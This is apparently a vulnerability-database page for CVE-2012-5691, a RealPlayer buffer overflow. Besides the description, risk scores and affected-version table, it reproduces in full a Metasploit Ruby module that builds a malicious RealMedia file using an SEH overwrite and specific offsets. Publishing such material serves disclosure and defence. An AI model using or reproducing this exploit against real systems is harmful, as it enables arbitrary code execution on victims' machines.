CVE-2012-5691

critical
Published 2012-12-19 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Buffer overflow in RealNetworks RealPlayer before 16.0.0.282 and RealPlayer SP 1.0 through 1.1.5 allows remote attackers to execute arbitrary code via a crafted RealMedia file.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-23694 remote windows verified ruby ยท 3 KB
Metasploit ยท 2012-12-27

RealPlayer - '.RealMedia' File Handling Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealPlayer RealMedia File Handling Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
				The vulnerability exists in the handling of real media files, due to the insecure
				usage of the GetPrivateProfileString function to retrieve the URL property from an
				InternetShortcut section.

				This module generates a malicious rm file which must be opened with RealPlayer via
				drag and drop or double click methods. It has been tested successfully on Windows
				XP SP3 with RealPlayer 15.0.5.109.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-5691' ],
					[ 'OSVDB', '88486' ],
					[ 'BID', '56956' ],
					[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars'    => "\x00\x0a\x0d",
					'DisableNops' => true,
					'Space'       => 2000
				},
			'Targets'        =>
				[
					[ 'Windows XP SP3 / Real Player 15.0.5.109',
						{
							'Ret'       => 0x63f2b4b5, # ppr from rpap3260.dll
							'OffsetOne' => 2312, # Open via double click
							'OffsetTwo' => 2964 # Open via drag and drop
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 14 2012',
			'DefaultTarget'  => 0))

		register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

	end

	def exploit

		buffer = payload.encoded
		buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
		buffer << generate_seh_record(target.ret)
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
		buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
		buffer << generate_seh_record(target.ret)
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
		buffer << rand_text(7000) # Generate exception

		content = "[InternetShortcut]\nURL="
		filecontent = content+buffer

		file_create(filecontent)

	end
end

Metasploit modules

RealPlayer RealMedia File Handling Buffer Overflow
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
realnetworksrealplayer{"endIncluding":"16.0.0"}
realnetworksrealplayer4
realnetworksrealplayer5
realnetworksrealplayer6
realnetworksrealplayer7
realnetworksrealplayer8
realnetworksrealplayer10.0
realnetworksrealplayer10.5
realnetworksrealplayer11.0
realnetworksrealplayer11.0.1
realnetworksrealplayer11.0.2
realnetworksrealplayer11.0.2.1744
realnetworksrealplayer11.0.2.2315
realnetworksrealplayer11.0.3
realnetworksrealplayer11.0.4
realnetworksrealplayer11.0.5
realnetworksrealplayer11.1
realnetworksrealplayer11.1.3
realnetworksrealplayer11_build_6.0.14.748
realnetworksrealplayer12.0.0.1444
realnetworksrealplayer12.0.0.1548
realnetworksrealplayer14.0.0
realnetworksrealplayer14.0.1
realnetworksrealplayer14.0.1.609
realnetworksrealplayer14.0.2
realnetworksrealplayer14.0.3
realnetworksrealplayer14.0.4
realnetworksrealplayer14.0.5
realnetworksrealplayer15.0.0
realnetworksrealplayer15.0.4
realnetworksrealplayer15.0.4.43
realnetworksrealplayer15.0.5.109
realnetworksrealplayer15.0.6.14
realnetworksrealplayer15.02.71
realnetworksrealplayer_sp1.0.0
realnetworksrealplayer_sp1.0.1
realnetworksrealplayer_sp1.0.2
realnetworksrealplayer_sp1.0.5
realnetworksrealplayer_sp1.1
realnetworksrealplayer_sp1.1.1
realnetworksrealplayer_sp1.1.2
realnetworksrealplayer_sp1.1.3
realnetworksrealplayer_sp1.1.4
realnetworksrealplayer_sp1.1.5

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.